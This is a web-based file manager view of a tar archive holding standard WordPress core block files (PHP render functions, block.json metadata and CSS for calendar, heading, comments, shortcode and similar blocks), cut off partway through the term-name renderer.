File manager - Edit - /home/kdmucyyv/semigocare.co.uk/wp-includes/interactivity-api/blocks.tar
Back
term-template.php 0000644 00000010646 15154763125 0010055 0 ustar 00 <?php /** * Server-side rendering of the `core/term-template` block. * * @package WordPress */ /** * Renders the `core/term-template` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the output of the term template. */ function render_block_core_term_template( $attributes, $content, $block ) { if ( ! isset( $block->context ) || empty( $block->context['termQuery'] ) ) { return ''; } $query = $block->context['termQuery']; $query_args = array( 'number' => $query['perPage'], 'order' => $query['order'], 'orderby' => $query['orderBy'], 'hide_empty' => $query['hideEmpty'], ); $inherit_query = isset( $query['inherit'] ) && $query['inherit'] && ( is_tax() || is_category() || is_tag() ); if ( $inherit_query ) { // Get the current term and taxonomy from the queried object. $queried_object = get_queried_object(); // For hierarchical taxonomies, show children of the current term. // For non-hierarchical taxonomies, show all terms (don't set parent). if ( is_taxonomy_hierarchical( $queried_object->taxonomy ) ) { // If showNested is true, use child_of to include nested terms. // Otherwise, use parent to show only direct children. if ( ! empty( $query['showNested'] ) ) { $query_args['child_of'] = $queried_object->term_id; } else { $query_args['parent'] = $queried_object->term_id; } } $query_args['taxonomy'] = $queried_object->taxonomy; } else { // If not inheriting set `taxonomy` from the block attribute. $query_args['taxonomy'] = $query['taxonomy']; // If we are including specific terms we ignore `showNested` argument. if ( ! empty( $query['include'] ) ) { $query_args['include'] = array_unique( array_map( 'intval', $query['include'] ) ); $query_args['orderby'] = 'include'; $query_args['order'] = 'asc'; } elseif ( is_taxonomy_hierarchical( $query['taxonomy'] ) && empty( $query['showNested'] ) ) { // We set parent only when inheriting from the taxonomy archive context or not // showing nested terms, otherwise nested terms are not displayed. $query_args['parent'] = 0; } } $terms_query = new WP_Term_Query( $query_args ); $terms = $terms_query->get_terms(); if ( ! $terms || is_wp_error( $terms ) ) { return ''; } $content = ''; foreach ( $terms as $term ) { // Get an instance of the current Term Template block. $block_instance = $block->parsed_block; // Set the block name to one that does not correspond to an existing registered block. // This ensures that for the inner instances of the Term Template block, we do not render any block supports. $block_instance['blockName'] = 'core/null'; $term_id = $term->term_id; $taxonomy = $term->taxonomy; $filter_block_context = static function ( $context ) use ( $term_id, $taxonomy ) { $context['termId'] = $term_id; $context['taxonomy'] = $taxonomy; return $context; }; // Use an early priority to so that other 'render_block_context' filters have access to the values. add_filter( 'render_block_context', $filter_block_context, 1 ); // Render the inner blocks of the Term Template block with `dynamic` set to `false` to prevent calling // `render_callback` and ensure that no wrapper markup is included. $block_content = ( new WP_Block( $block_instance ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); // Wrap the render inner blocks in a `li` element with the appropriate term classes. $term_classes = "wp-block-term term-{$term->term_id} {$term->taxonomy} taxonomy-{$term->taxonomy}"; $content .= '<li class="' . esc_attr( $term_classes ) . '">' . $block_content . '</li>'; } $classnames = ''; if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classnames .= 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classnames ) ) ); return sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $content ); } /** * Registers the `core/term-template` block on the server. * * @since 6.9.0 */ function register_block_core_term_template() { register_block_type_from_metadata( __DIR__ . '/term-template', array( 'render_callback' => 'render_block_core_term_template', ) ); } add_action( 'init', 'register_block_core_term_template' ); calendar/block.json 0000644 00000002025 15154763127 0010314 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/calendar", "title": "Calendar", "category": "widgets", "description": "A calendar of your site’s posts.", "keywords": [ "posts", "archive" ], "textdomain": "default", "attributes": { "month": { "type": "integer" }, "year": { "type": "integer" } }, "supports": { "align": true, "html": false, "color": { "link": true, "__experimentalSkipSerialization": [ "text", "background" ], "__experimentalDefaultControls": { "background": true, "text": true }, "__experimentalSelector": "table, th" }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-calendar" } calendar/style-rtl.css 0000644 00000001327 15154763127 0011004 0 ustar 00 .wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } .wp-block-calendar :where(table:not(.has-text-color)){ color:#40464d; } .wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{ border-color:#ddd; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; } calendar/style-rtl.min.css 0000644 00000001225 15154763127 0011563 0 ustar 00 .wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}.wp-block-calendar :where(table:not(.has-text-color)){color:#40464d}.wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{border-color:#ddd}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd} calendar/style.css 0000644 00000001327 15154763127 0010205 0 ustar 00 .wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } .wp-block-calendar :where(table:not(.has-text-color)){ color:#40464d; } .wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{ border-color:#ddd; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; } calendar/style.min.css 0000644 00000001225 15154763127 0010764 0 ustar 00 .wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}.wp-block-calendar :where(table:not(.has-text-color)){color:#40464d}.wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{border-color:#ddd}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd} legacy-widget/block.json 0000644 00000001054 15154763127 0011271 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/legacy-widget", "title": "Legacy Widget", "category": "widgets", "description": "Display a legacy widget.", "textdomain": "default", "attributes": { "id": { "type": "string", "default": null }, "idBase": { "type": "string", "default": null }, "instance": { "type": "object", "default": null } }, "supports": { "html": false, "customClassName": false, "reusable": false }, "editorStyle": "wp-block-legacy-widget-editor" } text-columns/editor-rtl.css 0000644 00000000133 15154763127 0012015 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{ outline:1px solid #ddd; } text-columns/editor-rtl.min.css 0000644 00000000126 15154763127 0012601 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd} text-columns/block.json 0000644 00000001420 15154763127 0011203 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/text-columns", "title": "Text Columns (deprecated)", "icon": "columns", "category": "design", "description": "This block is deprecated. Please use the Columns block instead.", "textdomain": "default", "attributes": { "content": { "type": "array", "source": "query", "selector": "p", "query": { "children": { "type": "string", "source": "html" } }, "default": [ {}, {} ] }, "columns": { "type": "number", "default": 2 }, "width": { "type": "string" } }, "supports": { "inserter": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-text-columns-editor", "style": "wp-block-text-columns" } text-columns/style-rtl.css 0000644 00000000765 15154763127 0011702 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{ display:flex; } .wp-block-text-columns .wp-block-column{ margin:0 1em; padding:0; } .wp-block-text-columns .wp-block-column:first-child{ margin-right:0; } .wp-block-text-columns .wp-block-column:last-child{ margin-left:0; } .wp-block-text-columns.columns-2 .wp-block-column{ width:50%; } .wp-block-text-columns.columns-3 .wp-block-column{ width:33.3333333333%; } .wp-block-text-columns.columns-4 .wp-block-column{ width:25%; } text-columns/style-rtl.min.css 0000644 00000000711 15154763127 0012453 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.3333333333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%} text-columns/editor.css 0000644 00000000133 15154763127 0011216 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{ outline:1px solid #ddd; } text-columns/style.css 0000644 00000000765 15154763127 0011103 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{ display:flex; } .wp-block-text-columns .wp-block-column{ margin:0 1em; padding:0; } .wp-block-text-columns .wp-block-column:first-child{ margin-left:0; } .wp-block-text-columns .wp-block-column:last-child{ margin-right:0; } .wp-block-text-columns.columns-2 .wp-block-column{ width:50%; } .wp-block-text-columns.columns-3 .wp-block-column{ width:33.3333333333%; } .wp-block-text-columns.columns-4 .wp-block-column{ width:25%; } text-columns/editor.min.css 0000644 00000000126 15154763127 0012002 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd} text-columns/style.min.css 0000644 00000000711 15154763127 0011654 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.3333333333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%} page-list-item.php 0000644 00000000551 15154763127 0010112 0 ustar 00 <?php /** * Server-side rendering of the `core/page-list-item` block. * * @package WordPress */ /** * Registers the `core/page-list-item` block on server. * * @since 6.3.0 */ function register_block_core_page_list_item() { register_block_type_from_metadata( __DIR__ . '/page-list-item' ); } add_action( 'init', 'register_block_core_page_list_item' ); comments-title.php 0000644 00000005324 15154763127 0010240 0 ustar 00 <?php /** * Server-side rendering of the `core/comments-title` block. * * @package WordPress */ /** * Renders the `core/comments-title` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * * @return string Return the post comments title. */ function render_block_core_comments_title( $attributes ) { if ( post_password_required() ) { return; } $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $show_post_title = ! empty( $attributes['showPostTitle'] ) && $attributes['showPostTitle']; $show_comments_count = ! empty( $attributes['showCommentsCount'] ) && $attributes['showCommentsCount']; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); $comments_count = get_comments_number(); /* translators: %s: Post title. */ $post_title = sprintf( __( '“%s”' ), get_the_title() ); $tag_name = 'h2'; if ( isset( $attributes['level'] ) ) { $tag_name = 'h' . $attributes['level']; } if ( '0' === $comments_count ) { return; } if ( $show_comments_count ) { if ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'One response to %s' ), $post_title ); } else { $comments_title = sprintf( /* translators: 1: Number of comments, 2: Post title. */ _n( '%1$s response to %2$s', '%1$s responses to %2$s', $comments_count ), number_format_i18n( $comments_count ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'One response' ); } else { $comments_title = sprintf( /* translators: %s: Number of comments. */ _n( '%s response', '%s responses', $comments_count ), number_format_i18n( $comments_count ) ); } } elseif ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'Response to %s' ), $post_title ); } else { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'Responses to %s' ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'Response' ); } else { $comments_title = __( 'Responses' ); } return sprintf( '<%1$s id="comments" %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $comments_title ); } /** * Registers the `core/comments-title` block on the server. * * @since 6.0.0 */ function register_block_core_comments_title() { register_block_type_from_metadata( __DIR__ . '/comments-title', array( 'render_callback' => 'render_block_core_comments_title', ) ); } add_action( 'init', 'register_block_core_comments_title' ); page-list-item/block.json 0000644 00000002125 15154763127 0011365 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/page-list-item", "title": "Page List Item", "category": "widgets", "parent": [ "core/page-list" ], "description": "Displays a page inside a list of all pages.", "keywords": [ "page", "menu", "navigation" ], "textdomain": "default", "attributes": { "id": { "type": "number" }, "label": { "type": "string" }, "title": { "type": "string" }, "link": { "type": "string" }, "hasChildren": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "style", "openSubmenusOnClick" ], "supports": { "reusable": false, "html": false, "lock": false, "inserter": false, "__experimentalToolbar": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-page-list-editor", "style": "wp-block-page-list" } comment-edit-link/block.json 0000644 00000002644 15154763127 0012072 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-edit-link", "title": "Comment Edit Link", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.", "textdomain": "default", "usesContext": [ "commentId" ], "attributes": { "linkTarget": { "type": "string", "default": "_self" }, "textAlign": { "type": "string" } }, "supports": { "html": false, "color": { "link": true, "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true, "link": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "style": "wp-block-comment-edit-link" } comment-edit-link/style-rtl.css 0000644 00000000067 15154763127 0012553 0 ustar 00 .wp-block-comment-edit-link{ box-sizing:border-box; } comment-edit-link/style-rtl.min.css 0000644 00000000062 15154763127 0013330 0 ustar 00 .wp-block-comment-edit-link{box-sizing:border-box} comment-edit-link/style.css 0000644 00000000067 15154763127 0011754 0 ustar 00 .wp-block-comment-edit-link{ box-sizing:border-box; } comment-edit-link/style.min.css 0000644 00000000062 15154763127 0012531 0 ustar 00 .wp-block-comment-edit-link{box-sizing:border-box} comments.php 0000644 00000015200 15154763127 0007113 0 ustar 00 <?php /** * Server-side rendering of the `core/comments` block. * * @package WordPress */ /** * Renders the `core/comments` block on the server. * * This render callback is mainly for rendering a dynamic, legacy version of * this block (the old `core/post-comments`). It uses the `comments_template()` * function to generate the output, in the same way as classic PHP themes. * * As this callback will always run during SSR, first we need to check whether * the block is in legacy mode. If not, the HTML generated in the editor is * returned instead. * * @since 6.1.0 * * @global WP_Post $post Global post object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post comments for the current post wrapped inside "p" tags. */ function render_block_core_comments( $attributes, $content, $block ) { global $post; if ( ! isset( $block->context['postId'] ) ) { return ''; } $post_id = $block->context['postId']; // Return early if there are no comments and comments are closed. if ( ! comments_open( $post_id ) && (int) get_comments_number( $post_id ) === 0 ) { return ''; } // If this isn't the legacy block, we need to render the static version of this block. $is_legacy = 'core/post-comments' === $block->name || ! empty( $attributes['legacy'] ); if ( ! $is_legacy ) { return $block->render( array( 'dynamic' => false ) ); } $post_before = $post; $post = get_post( $post_id ); setup_postdata( $post ); ob_start(); /* * There's a deprecation warning generated by WP Core. * Ideally this deprecation is removed from Core. * In the meantime, this removes it from the output. */ add_filter( 'deprecated_file_trigger_error', '__return_false' ); comments_template(); remove_filter( 'deprecated_file_trigger_error', '__return_false' ); $output = ob_get_clean(); $post = $post_before; $classnames = array(); // Adds the old class name for styles' backwards compatibility. if ( isset( $attributes['legacy'] ) ) { $classnames[] = 'wp-block-post-comments'; } if ( isset( $attributes['textAlign'] ) ) { $classnames[] = 'has-text-align-' . $attributes['textAlign']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); /* * Enqueues scripts and styles required only for the legacy version. That is * why they are not defined in `block.json`. */ wp_enqueue_script( 'comment-reply' ); enqueue_legacy_post_comments_block_styles( $block->name ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $output ); } /** * Registers the `core/comments` block on the server. * * @since 6.1.0 */ function register_block_core_comments() { register_block_type_from_metadata( __DIR__ . '/comments', array( 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_comments' ); /** * Use the button block classes for the form-submit button. * * @since 6.1.0 * * @param array $fields The default comment form arguments. * * @return array Returns the modified fields. */ function comments_block_form_defaults( $fields ) { if ( wp_is_block_theme() ) { $fields['submit_button'] = '<input name="%1$s" type="submit" id="%2$s" class="%3$s wp-block-button__link ' . wp_theme_get_element_class_name( 'button' ) . '" value="%4$s" />'; $fields['submit_field'] = '<p class="form-submit wp-block-button">%1$s %2$s</p>'; } return $fields; } add_filter( 'comment_form_defaults', 'comments_block_form_defaults' ); /** * Enqueues styles from the legacy `core/post-comments` block. These styles are * required only by the block's fallback. * * @since 6.1.0 * * @param string $block_name Name of the new block type. */ function enqueue_legacy_post_comments_block_styles( $block_name ) { static $are_styles_enqueued = false; if ( ! $are_styles_enqueued ) { $handles = array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ); foreach ( $handles as $handle ) { wp_enqueue_block_style( $block_name, array( 'handle' => $handle ) ); } $are_styles_enqueued = true; } } /** * Ensures backwards compatibility for any users running the Gutenberg plugin * who have used Post Comments before it was merged into Comments Query Loop. * * The same approach was followed when core/query-loop was renamed to * core/post-template. * * @since 6.1.0 * * @see https://github.com/WordPress/gutenberg/pull/41807 * @see https://github.com/WordPress/gutenberg/pull/32514 */ function register_legacy_post_comments_block() { $registry = WP_Block_Type_Registry::get_instance(); /* * Remove the old `post-comments` block if it was already registered, as it * is about to be replaced by the type defined below. */ if ( $registry->is_registered( 'core/post-comments' ) ) { unregister_block_type( 'core/post-comments' ); } // Recreate the legacy block metadata. $metadata = array( 'name' => 'core/post-comments', 'category' => 'theme', 'attributes' => array( 'textAlign' => array( 'type' => 'string', ), ), 'uses_context' => array( 'postId', 'postType', ), 'supports' => array( 'html' => false, 'align' => array( 'wide', 'full' ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, ), ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, ), ), 'inserter' => false, ), 'style' => array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ), 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ); /* * Filters the metadata object, the same way it's done inside * `register_block_type_from_metadata()`. This applies some default filters, * like `_wp_multiple_block_styles`, which is required in this case because * the block has multiple styles. */ /** This filter is documented in wp-includes/blocks.php */ $metadata = apply_filters( 'block_type_metadata', $metadata ); register_block_type( 'core/post-comments', $metadata ); } add_action( 'init', 'register_legacy_post_comments_block', 21 ); shortcode/editor-rtl.css 0000644 00000001212 15154763127 0011344 0 ustar 00 .blocks-shortcode__textarea{ background:#fff !important; border:1px solid #1e1e1e !important; border-radius:2px !important; box-shadow:none !important; box-sizing:border-box; color:#1e1e1e !important; font-family:Menlo,Consolas,monaco,monospace !important; font-size:16px !important; max-height:250px; padding:12px !important; resize:none; } @media (min-width:600px){ .blocks-shortcode__textarea{ font-size:13px !important; } } .blocks-shortcode__textarea:focus{ border-color:var(--wp-admin-theme-color) !important; box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important; outline:2px solid #0000 !important; } shortcode/editor-rtl.min.css 0000644 00000001101 15154763127 0012123 0 ustar 00 .blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important} shortcode/block.json 0000644 00000000746 15154763127 0010545 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/shortcode", "title": "Shortcode", "category": "widgets", "description": "Insert additional custom elements with a WordPress shortcode.", "textdomain": "default", "attributes": { "text": { "type": "string", "source": "raw", "role": "content" } }, "supports": { "className": false, "customClassName": false, "html": false }, "editorStyle": "wp-block-shortcode-editor" } shortcode/editor.css 0000644 00000001212 15154763127 0010545 0 ustar 00 .blocks-shortcode__textarea{ background:#fff !important; border:1px solid #1e1e1e !important; border-radius:2px !important; box-shadow:none !important; box-sizing:border-box; color:#1e1e1e !important; font-family:Menlo,Consolas,monaco,monospace !important; font-size:16px !important; max-height:250px; padding:12px !important; resize:none; } @media (min-width:600px){ .blocks-shortcode__textarea{ font-size:13px !important; } } .blocks-shortcode__textarea:focus{ border-color:var(--wp-admin-theme-color) !important; box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important; outline:2px solid #0000 !important; } shortcode/editor.min.css 0000644 00000001101 15154763127 0011324 0 ustar 00 .blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important} heading/block.json 0000644 00000003414 15154763127 0010145 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/heading", "title": "Heading", "category": "text", "description": "Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.", "keywords": [ "title", "subtitle" ], "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "content": { "type": "rich-text", "source": "rich-text", "selector": "h1,h2,h3,h4,h5,h6", "role": "content" }, "level": { "type": "number", "default": 2 }, "levelOptions": { "type": "array" }, "placeholder": { "type": "string" } }, "supports": { "align": [ "wide", "full" ], "anchor": true, "className": true, "splitting": true, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalWritingMode": true, "fitText": true, "__experimentalDefaultControls": { "fontSize": true } }, "__unstablePasteTextInline": true, "__experimentalSlashInserter": true, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-heading-editor", "style": "wp-block-heading" } heading/style-rtl.css 0000644 00000002230 15154763127 0010624 0 ustar 00 h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{ padding:1.25em 2.375em; } h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){ rotate:180deg; } heading/style-rtl.min.css 0000644 00000002215 15154763127 0011411 0 ustar 00 h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg} heading/style.css 0000644 00000002230 15154763127 0010025 0 ustar 00 h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{ padding:1.25em 2.375em; } h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){ rotate:180deg; } heading/style.min.css 0000644 00000002215 15154763127 0010612 0 ustar 00 h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg} term-name.php 0000644 00000004025 15154763127 0007156 0 ustar 00 <?php /** * Server-side rendering of the `core/term-name` block. * * @package WordPress */ /** * Renders the `core/term-name` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the name of the current taxonomy term wrapped inside a heading tag. */ function render_block_core_term_name( $attributes, $content, $block ) { $term_name = ''; // Get term from context or from the current query. if ( isset( $block->context['termId'] ) && isset( $block->context['taxonomy'] ) ) { 